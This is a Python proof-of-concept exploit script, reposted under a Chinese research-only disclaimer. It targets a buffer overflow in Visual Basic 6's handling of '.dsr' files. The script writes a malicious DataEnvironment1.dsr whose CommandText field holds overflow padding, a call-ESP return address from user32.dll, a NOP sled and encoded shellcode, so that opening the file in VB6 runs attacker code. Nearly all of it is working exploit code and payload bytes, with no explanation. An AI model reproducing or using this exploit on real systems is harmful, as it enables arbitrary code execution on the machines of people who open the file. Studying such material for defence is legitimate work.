[警 告]

　　以下程序(方法)可能带有攻击性,仅供安全研究与教学之用.风险自负!

　　#usage: exploit.py

　　print "-----------------------------------------------------------------------"

　　print ' [PoC 2] MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling BoF\n'

　　print " author: shinnai"

　　print " mail: shinnai[at]autistici[dot]org"

　　print " site: http://shinnai.altervista.org\n"

　　print " Once you create the file, open it with Visual Basic 6 and click on"

　　print " command name."

　　print "-----------------------------------------------------------------------"

　　buff = "A" * 555

　　get_EIP = "\xFF\xBE\x3F\x7E" #call ESP from user32.dll

　　nop = "\x90" * 12

　　shellcode = (

　　"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"

　　"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"

　　"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"

　　"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"

　　"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"

　　"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x38\x4e\x47"

　　"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x41\x4b\x38"

　　"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x48"

　　"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c"

　　"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"

　　"\x46\x4f\x4b\x43\x46\x35\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x58"

　　"\x4f\x45\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x48\x4e\x30\x4b\x44"

　　"\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x4b\x38\x4e\x51\x4b\x38"

　　"\x41\x50\x4b\x4e\x49\x38\x4e\x45\x46\x32\x46\x50\x43\x4c\x41\x33"

　　"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x33\x45\x38\x42\x4c\x4a\x47"

　　"\x4e\x30\x4b\x38\x42\x34\x4e\x50\x4b\x58\x42\x47\x4e\x41\x4d\x4a"

　　"\x4b\x58\x4a\x36\x4a\x30\x4b\x4e\x49\x50\x4b\x48\x42\x48\x42\x4b"

　　"\x42\x30\x42\x50\x42\x30\x4b\x38\x4a\x56\x4e\x43\x4f\x55\x41\x33"

　　"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x37"

　　"\x42\x55\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x35\x4a\x36\x4a\x59"

　　"\x50\x4f\x4c\x38\x50\x50\x47\x55\x4f\x4f\x47\x4e\x43\x56\x41\x56"

　　"\x4e\x46\x43\x56\x50\x32\x45\x46\x4a\x37\x45\x36\x42\x50\x5a"

　　)

　　dsrfile = (

　　"VERSION 5.00\n"

　　"Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1\n"

　　" ClientHeight = 6315\n"

　　" ClientLeft = 0\n"

　　" ClientTop = 0\n"

　　" ClientWidth = 7980\n"

　　" _ExtentX = 14076\n"

　　" _ExtentY = 11139\n"

　　" FolderFlags = 1\n"

　　' TypeLibGuid = "{D7133993-3B5A-4667-B63B-749EF16A1840}"\n'

　　' TypeInfoGuid = "{050E7898-66AC-4150-A213-47C7725D7E7E}"\n'

　　" TypeInfoCookie = 0\n"

　　" Version = 4\n"

　　" NumConnections = 1\n"

　　" BeginProperty Connection1\n"

　　' ConnectionName = "Connection1"\n'

　　" ConnDispId = 1001\n"

　　" SourceOfData = 3\n"

　　' ConnectionSource= ""\n'

　　" Expanded = -1 'True\n"

　　" QuoteChar = 96\n"

　　" SeparatorChar = 46\n"

　　" EndProperty\n"

　　" NumRecordsets = 1\n"

　　" BeginProperty Recordset1\n"

　　' CommandName = "Command1"\n'

　　" CommDispId = 1002\n"

　　" RsDispId = 1003\n"

　　' CommandText = "' + buff + get_EIP + nop + shellcode + nop + '"\n'

　　' ActiveConnectionName= "Connection1"\n'

　　" CommandType = 2\n"

　　" dbObjectType = 1\n"

　　" Locktype = 3\n"

　　" IsRSReturning = -1 'True\n"

　　" NumFields = 1\n"

　　" BeginProperty Field1\n"

　　" Precision = 10\n"

　　" Size = 4\n"

　　" Scale = 0\n"

　　" Type = 3\n"

　　' Name = "ID"\n'

　　' Caption = "ID"\n'

　　" EndProperty\n"

　　" NumGroups = 0\n"

　　" ParamCount = 0\n"

　　" RelationCount = 0\n"

　　" AggregateCount = 0\n"

　　" EndProperty\n"

　　"End\n"

　　'Attribute VB_Name = "DataEnvironment1"\n'

　　"Attribute VB_GlobalNameSpace = False\n"

　　"Attribute VB_Creatable = True\n"

　　"Attribute VB_PredeclaredId = True\n"

　　"Attribute VB_Exposed = False\n"

　　)

　　try:

　　out_file = open("DataEnvironment1.dsr",'w')

　　out_file.write(dsrfile)

　　out_file.close()

　　print "\nFILE CREATION COMPLETED!\n"

　　except:

　　print " \n -------------------------------------"

　　print " Usage: exploit.py"

　　print " -------------------------------------"

　　print "\nAN ERROR OCCURS DURING FILE CREATION!"